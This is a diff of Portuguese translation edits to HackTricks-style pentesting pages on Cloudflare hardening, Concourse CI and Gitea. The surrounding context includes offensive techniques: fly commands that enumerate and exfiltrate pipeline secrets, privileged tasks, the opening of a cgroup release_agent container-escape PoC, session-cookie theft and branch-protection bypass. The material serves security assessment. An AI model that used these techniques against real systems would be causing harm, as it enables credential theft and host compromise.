- Em Domínios Cloudflare -> Segurança -> Eventos -> Verifique se há **Eventos maliciosos detectados**
|
||||
|
||||
### Acesso
|
||||
|
||||
@@ -103,7 +103,7 @@ TODO
|
||||
|
||||
- [ ] Se **`HTTP/2`** estiver **ativado**, **`HTTP/2 para Origem`** deve estar **ativado**
|
||||
- [ ] **`HTTP/3 (com QUIC)`** deve estar **ativado**
|
||||
- [ ] Se a **privacidade** dos seus **usuários** é importante, certifique-se de que **`Onion Routing`** está **ativado**
|
||||
- [ ] Se a **privacidade** dos seus **usuários** for importante, certifique-se de que **`Onion Routing`** está **ativado**
|
||||
|
||||
### **Tráfego**
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ Em uma conta **Cloudflare Zero Trust Network** existem algumas **configurações
|
||||
|
||||
- [ ] Em **`Policies`** é possível gerar políticas para **restringir** por **DNS**, **rede** ou **HTTP** quem pode acessar aplicações.
|
||||
- Se utilizado, **políticas** podem ser criadas para **restringir** o acesso a sites maliciosos.
|
||||
- Isso é **somente relevante se um gateway estiver sendo usado**, caso contrário, não há razão para criar políticas defensivas.
|
||||
- Isso é **relevante apenas se um gateway estiver sendo usado**, caso contrário, não há razão para criar políticas defensivas.
|
||||
|
||||
### Access
|
||||
|
||||
@@ -22,12 +22,12 @@ Em uma conta **Cloudflare Zero Trust Network** existem algumas **configurações
|
||||
|
||||
Em cada aplicação:
|
||||
|
||||
- [ ] Verifique **quem** pode acessar a aplicação em **Policies** e verifique se **apenas** os **usuários** que **precisam de acesso** à aplicação podem acessar.
|
||||
- [ ] Verifique **quem** pode acessar a aplicação nas **Policies** e verifique que **apenas** os **usuários** que **precisam de acesso** à aplicação possam acessar.
|
||||
- Para permitir o acesso, **`Access Groups`** serão utilizados (e **regras adicionais** também podem ser definidas)
|
||||
- [ ] Verifique os **provedores de identidade disponíveis** e certifique-se de que **não estão muito abertos**
|
||||
- [ ] Em **`Settings`**:
|
||||
- [ ] Verifique se **CORS não está habilitado** (se estiver habilitado, verifique se é **seguro** e não está permitindo tudo)
|
||||
- [ ] Os cookies devem ter o atributo **Strict Same-Site**, **HTTP Only** e **binding cookie** deve estar **habilitado** se a aplicação for HTTP.
|
||||
- [ ] Os cookies devem ter o atributo **Strict Same-Site**, **HTTP Only** e o **binding cookie** deve estar **habilitado** se a aplicação for HTTP.
|
||||
- [ ] Considere habilitar também **Browser rendering** para melhor **proteção. Mais informações sobre** [**isolamento de navegador remoto aqui**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Concourse Security
|
||||
# Segurança do Concourse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Concourse permite que você **construa pipelines** para executar automaticamente testes, ações e construir imagens sempre que precisar (baseado em tempo, quando algo acontece...)
|
||||
O Concourse permite que você **construa pipelines** para executar automaticamente testes, ações e criar imagens sempre que precisar (baseado em tempo, quando algo acontece...)
|
||||
|
||||
## Arquitetura do Concourse
|
||||
|
||||
|
||||
@@ -1,44 +1,44 @@
|
||||
# Concourse Enumeration & Attacks
|
||||
# Concourse Enumeração & Ataques
|
||||
|
||||
## Concourse Enumeration & Attacks
|
||||
## Concourse Enumeração & Ataques
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### User Roles & Permissions
|
||||
### Funções de Usuário & Permissões
|
||||
|
||||
Concourse vem com cinco papéis:
|
||||
Concourse vem com cinco funções:
|
||||
|
||||
- _Concourse_ **Admin**: Este papel é concedido apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões deste papel não podem ser afetadas pelo RBAC.
|
||||
- _Concourse_ **Admin**: Esta função é dada apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões desta função não podem ser afetadas pelo RBAC.
|
||||
- **owner**: Os proprietários da equipe podem **modificar tudo dentro da equipe**.
|
||||
- **member**: Os membros da equipe podem **ler e escrever** dentro dos **ativos da equipe**, mas não podem modificar as configurações da equipe.
|
||||
- **pipeline-operator**: Os operadores de pipeline podem realizar **operações de pipeline** como acionar builds e fixar recursos, no entanto, não podem atualizar as configurações do pipeline.
|
||||
- **viewer**: Os visualizadores da equipe têm acesso **"somente leitura" a uma equipe** e seus pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Além disso, as **permissões dos papéis owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Além disso, as **permissões das funções owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Note que o Concourse **agrupa pipelines dentro de Equipes**. Portanto, usuários pertencentes a uma Equipe poderão gerenciar esses pipelines e **várias Equipes** podem existir. Um usuário pode pertencer a várias Equipes e ter permissões diferentes dentro de cada uma delas.
|
||||
|
||||
### Vars & Credential Manager
|
||||
### Vars & Gerenciador de Credenciais
|
||||
|
||||
Nos arquivos de configuração YAML, você pode configurar valores usando a sintaxe `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Das docs:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em todo o cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\
|
||||
O **\_secret-field opcional** especifica um campo no segredo recuperado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' da credencial recuperada, se o campo existir.\
|
||||
Nos configs YAML, você pode configurar valores usando a sintaxe `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Das docs:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\
|
||||
O **campo \_secret-field**\_ opcional especifica um campo no segredo buscado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' do credencial buscado, se o campo existir.\
|
||||
Além disso, o _**secret-path**_ e _**secret-field**_ podem ser cercados por aspas duplas `"..."` se contiverem **caracteres especiais** como `.` e `:`. Por exemplo, `((source:"my.secret"."field:1"))` definirá o _secret-path_ como `my.secret` e o _secret-field_ como `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
#### Vars Estáticas
|
||||
|
||||
Variáveis estáticas podem ser especificadas em **etapas de tarefas**:
|
||||
Vars estáticas podem ser especificadas em **etapas de tarefas**:
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Or usando os seguintes `fly` **argumentos**:
|
||||
Ou usando os seguintes `fly` **argumentos**:
|
||||
|
||||
- `-v` ou `--var` `NAME=VALUE` define a string `VALUE` como o valor para a var `NAME`.
|
||||
- `-y` ou `--yaml-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var `NAME`.
|
||||
- `-i` ou `--instance-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var de instância `NAME`. Veja [Agrupando Pipelines](https://concourse-ci.org/instanced-pipelines.html) para saber mais sobre vars de instância.
|
||||
- `-i` ou `--instance-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var de instância `NAME`. Veja [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) para saber mais sobre vars de instância.
|
||||
- `-l` ou `--load-vars-from` `FILE` carrega `FILE`, um documento YAML contendo mapeamento de nomes de vars para valores, e define todos eles.
|
||||
|
||||
#### Gerenciamento de Credenciais
|
||||
@@ -46,15 +46,15 @@ Or usando os seguintes `fly` **argumentos**:
|
||||
Existem diferentes maneiras de um **Gerenciador de Credenciais ser especificado** em um pipeline, leia como em [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Além disso, o Concourse suporta diferentes gerenciadores de credenciais:
|
||||
|
||||
- [O gerenciador de credenciais Vault](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [O gerenciador de credenciais CredHub](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [O gerenciador de credenciais AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [O gerenciador de credenciais AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Gerenciador de Credenciais Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [O gerenciador de credenciais Conjur](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Cache de credenciais](https://concourse-ci.org/creds-caching.html)
|
||||
- [Redação de credenciais](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Tentativas de busca falhadas](https://concourse-ci.org/creds-retry-logic.html)
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
|
||||
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que se você tiver algum tipo de **acesso de escrita ao Concourse** você pode criar jobs para **exfiltrar esses segredos** já que o Concourse precisa ser capaz de acessá-los.
|
||||
@@ -75,7 +75,7 @@ Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenc
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, ao invadir uma máquina você pode encontrar lá as credenciais.
|
||||
> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, você, ao invadir uma máquina, pode encontrar lá as credenciais.
|
||||
|
||||
#### Equipes & Usuários
|
||||
|
||||
@@ -94,7 +94,7 @@ Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenc
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Obter todas as **vars declaradas na configuração do pipeline**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Obter todos os **nomes de segredos de pipelines usados** (se você puder criar/modificar um job ou sequestrar um contêiner, você poderá exfiltrá-los):
|
||||
- Obter todos os **nomes de segredos de pipelines usados** (se você puder criar/modificar um job ou sequestrar um contêiner, poderá exfiltrá-los):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
@@ -171,7 +171,7 @@ Com a **modificação/criação** de um novo pipeline, você poderá:
|
||||
- **Roubar** os **segredos** (via ecoando-os ou entrando no contêiner e executando `env`)
|
||||
- **Escapar** para o **nó** (dando a você privilégios suficientes - `privileged: true`)
|
||||
- Enumerar/Abusar do endpoint de **metadados da nuvem** (do pod e do nó)
|
||||
- **Deletar** o pipeline criado
|
||||
- **Excluir** o pipeline criado
|
||||
|
||||
#### Executar Tarefa Personalizada
|
||||
|
||||
@@ -201,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml
|
||||
|
||||
Nas seções anteriores, vimos como **executar uma tarefa privilegiada com concourse**. Isso não dará ao contêiner exatamente o mesmo acesso que a flag privilegiada em um contêiner docker. Por exemplo, você não verá o dispositivo do sistema de arquivos do nó em /dev, então a fuga pode ser mais "complexa".
|
||||
|
||||
Na seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações:
|
||||
No seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -330,11 +330,11 @@ select * from users;
|
||||
#### Abusando do Serviço Garden - Não é um Ataque Real
|
||||
|
||||
> [!WARNING]
|
||||
> Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas escutando no localhost, essas notas não apresentarão nenhum impacto que já não tenhamos explorado antes.
|
||||
> Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas ouvindo no localhost, essas notas não apresentarão nenhum impacto que já não tenhamos explorado antes.
|
||||
|
||||
Por padrão, cada trabalhador do concourse estará executando um serviço [**Garden**](https://github.com/cloudfoundry/garden) na porta 7777. Este serviço é usado pelo mestre da Web para indicar ao trabalhador **o que ele precisa executar** (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções:
|
||||
Por padrão, cada trabalhador do concourse estará executando um serviço [**Garden**](https://github.com/cloudfoundry/garden) na porta 7777. Este serviço é usado pelo Web master para indicar ao trabalhador **o que ele precisa executar** (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções:
|
||||
|
||||
- Está apenas **exposto localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra a Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador.
|
||||
- Está **exposto apenas localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra o Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador.
|
||||
- O servidor web está **monitorando os contêineres em execução a cada poucos segundos**, e contêineres **inesperados** são **deletados**. Portanto, se você quiser **executar um contêiner personalizado**, precisará **interferir** na **comunicação** entre o servidor web e o serviço garden.
|
||||
|
||||
Os trabalhadores do Concourse são executados com altos privilégios de contêiner:
|
||||
@@ -353,7 +353,7 @@ No entanto, técnicas como **montar** o dispositivo /dev do nó ou release_agent
|
||||
> [!NOTE]
|
||||
> Na seção anterior, vimos como escapar de um contêiner privilegiado, então se pudermos **executar** comandos em um **contêiner privilegiado** criado pelo **trabalhador** **atual**, poderíamos **escapar para o nó**.
|
||||
|
||||
Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner do trabalhador, então é como se um contêiner estivesse criando um novo contêiner dentro dele.
|
||||
Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner trabalhador, então é como se um contêiner estivesse criando um novo contêiner dentro dele.
|
||||
|
||||
**Entrando em um contêiner privilegiado em execução**
|
||||
```bash
|
||||
|
||||
@@ -13,7 +13,7 @@ Este arquivo docker-compose simplifica a instalação para realizar alguns teste
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
Você pode baixar a linha de comando `fly` para o seu SO na web em `127.0.0.1:8080`
|
||||
Você pode baixar a linha de comando `fly` para o seu sistema operacional na web em `127.0.0.1:8080`
|
||||
|
||||
#### Com Kubernetes (Recomendado)
|
||||
|
||||
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
Após gerar o ambiente concourse, você pode gerar um segredo e dar acesso ao SA executando no concourse web para acessar os segredos do K8s:
|
||||
Após gerar o ambiente do concourse, você pode gerar um segredo e dar acesso ao SA executando no concourse web para acessar os segredos do K8s:
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -87,7 +87,7 @@ Vários tipos diferentes de steps podem ser usados:
|
||||
|
||||
Cada [step](https://concourse-ci.org/steps.html) em um [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) é executado em seu **próprio container**. Você pode executar qualquer coisa que desejar dentro do container _(ou seja, executar meus testes, executar este script bash, construir esta imagem, etc.)_. Portanto, se você tiver um job com cinco steps, o Concourse criará cinco containers, um para cada step.
|
||||
|
||||
Portanto, é possível indicar o tipo de container que cada step precisa para ser executado.
|
||||
Portanto, é possível indicar o tipo de container que cada step precisa ser executado.
|
||||
|
||||
### Exemplo de Pipeline Simples
|
||||
```yaml
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Gitea Security
|
||||
# Segurança do Gitea
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -41,14 +41,14 @@ Para este cenário, vamos supor que você obteve algum acesso a uma conta do git
|
||||
|
||||
### Com Credenciais de Usuário/Cookie da Web
|
||||
|
||||
Se de alguma forma você já tem credenciais de um usuário dentro de uma organização (ou você roubou um cookie de sessão), você pode **apenas fazer login** e verificar quais **permissões você tem** sobre quais **repositórios,** em **quais equipes** você está, **listar outros usuários**, e **como os repositórios estão protegidos.**
|
||||
Se de alguma forma você já tem credenciais de um usuário dentro de uma organização (ou você roubou um cookie de sessão), você pode **apenas fazer login** e verificar quais **permissões você tem** sobre quais **repositórios**, em **quais equipes** você está, **listar outros usuários** e **como os repositórios estão protegidos.**
|
||||
|
||||
Note que **2FA pode ser usado**, então você só poderá acessar essas informações se também conseguir **passar por essa verificação**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que se você **conseguir roubar o cookie `i_like_gitea`** (atualmente configurado com SameSite: Lax) você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
|
||||
> Note que se você **conseguir roubar o cookie `i_like_gitea`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
|
||||
|
||||
### Com Chave SSH de Usuário
|
||||
### Com Chave SSH do Usuário
|
||||
|
||||
O Gitea permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
|
||||
|
||||
@@ -60,7 +60,7 @@ git config --list
|
||||
```
|
||||
Se o usuário configurou seu nome de usuário como seu nome de usuário do gitea, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<gitea_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
|
||||
|
||||
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
|
||||
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
|
||||
|
||||
#### Chaves GPG
|
||||
|
||||
@@ -74,7 +74,7 @@ gpg --list-secret-keys --keyid-format=long
|
||||
|
||||
Para uma introdução sobre [**Tokens de Usuário, verifique as informações básicas**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
Um token de usuário pode ser usado **em vez de uma senha** para **autenticar** contra o servidor Gitea [**via API**](https://try.gitea.io/api/swagger#/). Ele terá **acesso completo** sobre o usuário.
|
||||
Um token de usuário pode ser usado **em vez de uma senha** para **autenticar** contra o servidor Gitea [**via API**](https://try.gitea.io/api/swagger#/). ele terá **acesso completo** sobre o usuário.
|
||||
|
||||
### Com Aplicação Oauth
|
||||
|
||||
@@ -86,22 +86,22 @@ Como explicado nas informações básicas, a aplicação terá **acesso total à
|
||||
|
||||
### Bypass de Proteção de Branch
|
||||
|
||||
No Github temos **github actions** que por padrão obtêm um **token com acesso de gravação** sobre o repositório que pode ser usado para **contornar as proteções de branch**. Neste caso, isso **não existe**, então os contornos são mais limitados. Mas vamos dar uma olhada no que pode ser feito:
|
||||
No Github temos **github actions** que por padrão obtêm um **token com acesso de escrita** sobre o repositório que pode ser usado para **contornar as proteções de branch**. Neste caso, isso **não existe**, então os contornos são mais limitados. Mas vamos dar uma olhada no que pode ser feito:
|
||||
|
||||
- **Habilitar Push**: Se alguém com acesso de gravação pode fazer push para a branch, basta fazer push.
|
||||
- **Whitelist Push Restrito**: Da mesma forma, se você faz parte desta lista, faça push para a branch.
|
||||
- **Habilitar Push**: Se alguém com acesso de escrita pode fazer push para o branch, basta fazer push nele.
|
||||
- **Whitelist de Push Restrito**: Da mesma forma, se você faz parte desta lista, faça push para o branch.
|
||||
- **Habilitar Whitelist de Merge**: Se houver uma whitelist de merge, você precisa estar dentro dela.
|
||||
- **Requerer aprovações maiores que 0**: Então... você precisa comprometer outro usuário.
|
||||
- **Restringir aprovações a usuários na whitelist**: Se apenas usuários na whitelist podem aprovar... você precisa comprometer outro usuário que esteja nessa lista.
|
||||
- **Desconsiderar aprovações obsoletas**: Se as aprovações não forem removidas com novos commits, você pode sequestrar um PR já aprovado para injetar seu código e mesclar o PR.
|
||||
|
||||
Note que **se você é um admin de org/repo** você pode contornar as proteções.
|
||||
Observe que **se você for um admin de org/repo** pode contornar as proteções.
|
||||
|
||||
### Enumerar Webhooks
|
||||
|
||||
**Webhooks** são capazes de **enviar informações específicas do gitea para alguns lugares**. Você pode ser capaz de **explorar essa comunicação**.\
|
||||
No entanto, geralmente um **segredo** que você **não pode recuperar** é definido no **webhook** que irá **prevenir** usuários externos que conhecem a URL do webhook, mas não o segredo, de **explorar esse webhook**.\
|
||||
Mas em algumas ocasiões, as pessoas, em vez de definir o **segredo** em seu lugar, **o definem na URL** como um parâmetro, então **verificar as URLs** pode permitir que você **encontre segredos** e outros lugares que você poderia explorar mais.
|
||||
No entanto, geralmente um **segredo** que você **não pode recuperar** é definido no **webhook** que **impede** usuários externos que conhecem a URL do webhook, mas não o segredo, de **explorar esse webhook**.\
|
||||
Mas em algumas ocasiões, as pessoas, em vez de definir o **segredo** em seu lugar, **o definem na URL** como um parâmetro, então **verificando as URLs** pode permitir que você **encontre segredos** e outros lugares que você poderia explorar mais.
|
||||
|
||||
Webhooks podem ser definidos em **nível de repo e de org**.
|
||||
|
||||
@@ -109,18 +109,18 @@ Webhooks podem ser definidos em **nível de repo e de org**.
|
||||
|
||||
### Dentro do servidor
|
||||
|
||||
Se de alguma forma você conseguiu entrar no servidor onde o gitea está rodando, você deve procurar pelo arquivo de configuração do gitea. Por padrão, ele está localizado em `/data/gitea/conf/app.ini`.
|
||||
Se de alguma forma você conseguiu entrar no servidor onde o gitea está rodando, você deve procurar o arquivo de configuração do gitea. Por padrão, ele está localizado em `/data/gitea/conf/app.ini`
|
||||
|
||||
Neste arquivo, você pode encontrar **chaves** e **senhas**.
|
||||
|
||||
No caminho do gitea (por padrão: /data/gitea) você também pode encontrar informações interessantes como:
|
||||
|
||||
- O **banco de dados sqlite**: Se o gitea não estiver usando um banco de dados externo, ele usará um banco de dados sqlite.
|
||||
- As **sessões** dentro da pasta de sessões: Executando `cat sessions/*/*/*` você pode ver os nomes de usuário dos usuários logados (o gitea também pode salvar as sessões dentro do banco de dados).
|
||||
- O **DB sqlite**: Se o gitea não estiver usando um db externo, ele usará um db sqlite.
|
||||
- As **sessões** dentro da pasta de sessões: Executando `cat sessions/*/*/*` você pode ver os nomes de usuário dos usuários logados (o gitea também pode salvar as sessões dentro do DB).
|
||||
- A **chave privada jwt** dentro da pasta jwt.
|
||||
- Mais **informações sensíveis** podem ser encontradas nesta pasta.
|
||||
|
||||
Se você estiver dentro do servidor, você também pode **usar o binário `gitea`** para acessar/modificar informações:
|
||||
Se você estiver dentro do servidor, também pode **usar o binário `gitea`** para acessar/modificar informações:
|
||||
|
||||
- `gitea dump` irá despejar o gitea e gerar um arquivo .zip.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` irá gerar um token do tipo indicado (persistência).
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Informações Básicas do Gitea
|
||||
# Informações Básicas sobre Gitea
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
A estrutura básica do ambiente Gitea é agrupar repositórios por **organização(ões),** cada uma delas pode conter **vários repositórios** e **várias equipes.** No entanto, note que assim como no github, os usuários podem ter repositórios fora da organização.
|
||||
|
||||
Além disso, um **usuário** pode ser um **membro** de **diferentes organizações**. Dentro da organização, o usuário pode ter **diferentes permissões sobre cada repositório**.
|
||||
Além disso, um **usuário** pode ser **membro** de **diferentes organizações**. Dentro da organização, o usuário pode ter **diferentes permissões sobre cada repositório**.
|
||||
|
||||
Um usuário também pode ser **parte de diferentes equipes** com diferentes permissões sobre diferentes repositórios.
|
||||
|
||||
@@ -24,7 +24,7 @@ Quando uma **organização é criada**, uma equipe chamada **Owners** é **criad
|
||||
- Limitado (apenas usuários logados)
|
||||
- Privado (apenas membros)
|
||||
|
||||
**Org admins** também podem indicar se os **repo admins** podem **adicionar e ou remover acesso** para equipes. Eles também podem indicar o número máximo de repositórios.
|
||||
**Org admins** também podem indicar se os **repo admins** podem **adicionar ou remover acesso** para equipes. Eles também podem indicar o número máximo de repositórios.
|
||||
|
||||
Ao criar uma nova equipe, várias configurações importantes são selecionadas:
|
||||
|
||||
@@ -38,7 +38,7 @@ Ao criar uma nova equipe, várias configurações importantes são selecionadas:
|
||||
|
||||
### Equipes & Usuários
|
||||
|
||||
Em um repositório, o **org admin** e os **repo admins** (se permitido pela org) podem **gerenciar os papéis** dados a colaboradores (outros usuários) e equipes. Existem **3** papéis possíveis:
|
||||
Em um repositório, o **org admin** e os **repo admins** (se permitido pela org) podem **gerenciar os papéis** dados a colaboradores (outros usuários) e equipes. Existem **3** possíveis **papéis**:
|
||||
|
||||
- Administrador
|
||||
- Escrita
|
||||
@@ -52,7 +52,7 @@ Usando **nome de usuário + senha** e potencialmente (e recomendado) um 2FA.
|
||||
|
||||
### **Chaves SSH**
|
||||
|
||||
Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada execute ações em seu nome.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada realize ações em seu nome.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **Chaves GPG**
|
||||
|
||||
@@ -64,7 +64,7 @@ Você pode gerar um token de acesso pessoal para **dar a um aplicativo acesso à
|
||||
|
||||
### Aplicações Oauth
|
||||
|
||||
Assim como os tokens de acesso pessoal, as **aplicações Oauth** terão **acesso completo** à sua conta e aos lugares que sua conta tem acesso porque, como indicado na [documentação](https://docs.gitea.io/en-us/oauth2-provider/#scopes), escopos ainda não são suportados:
|
||||
Assim como os tokens de acesso pessoal, as **aplicações Oauth** terão **acesso completo** à sua conta e aos lugares que sua conta tem acesso porque, como indicado na [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), escopos ainda não são suportados:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -79,22 +79,22 @@ As proteções de branch são projetadas para **não dar controle completo de um
|
||||
As **proteções de branch de um repositório** podem ser encontradas em _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Não é **possível definir uma proteção de branch em nível de organização**. Portanto, todas devem ser declaradas em cada repositório.
|
||||
> Não é **possível definir uma proteção de branch em nível de organização**. Portanto, todas elas devem ser declaradas em cada repositório.
|
||||
|
||||
Diferentes proteções podem ser aplicadas a um branch (como ao master):
|
||||
|
||||
- **Desabilitar Push**: Ninguém pode fazer push para este branch
|
||||
- **Habilitar Push**: Qualquer um com acesso pode fazer push, mas não forçar push.
|
||||
- **Whitelist Restricted Push**: Apenas usuários/equipes selecionados podem fazer push para este branch (mas sem forçar push)
|
||||
- **Habilitar Push**: Qualquer um com acesso pode fazer push, mas não force push.
|
||||
- **Whitelist Restricted Push**: Apenas usuários/equipes selecionados podem fazer push para este branch (mas sem force push)
|
||||
- **Habilitar Merge Whitelist**: Apenas usuários/equipes na lista branca podem mesclar PRs.
|
||||
- **Habilitar verificações de status:** Exigir que as verificações de status sejam aprovadas antes de mesclar.
|
||||
- **Exigir aprovações**: Indicar o número de aprovações necessárias antes que um PR possa ser mesclado.
|
||||
- **Restringir aprovações a usuários na lista branca**: Indicar usuários/equipes que podem aprovar PRs.
|
||||
- **Restringir aprovações a usuários/equipes na lista branca**: Indicar usuários/equipes que podem aprovar PRs.
|
||||
- **Bloquear mesclagem em revisões rejeitadas**: Se mudanças forem solicitadas, não pode ser mesclado (mesmo que as outras verificações passem)
|
||||
- **Bloquear mesclagem em solicitações de revisão oficiais**: Se houver solicitações de revisão oficiais, não pode ser mesclado
|
||||
- **Desconsiderar aprovações antigas**: Quando novos commits são feitos, aprovações antigas serão desconsideradas.
|
||||
- **Exigir Commits Assinados**: Commits devem ser assinados.
|
||||
- **Bloquear mesclagem se o pull request estiver desatualizado**
|
||||
- **Bloquear mesclagem se a solicitação de pull estiver desatualizada**
|
||||
- **Padrões de arquivos protegidos/não protegidos**: Indicar padrões de arquivos para proteger/desproteger contra mudanças
|
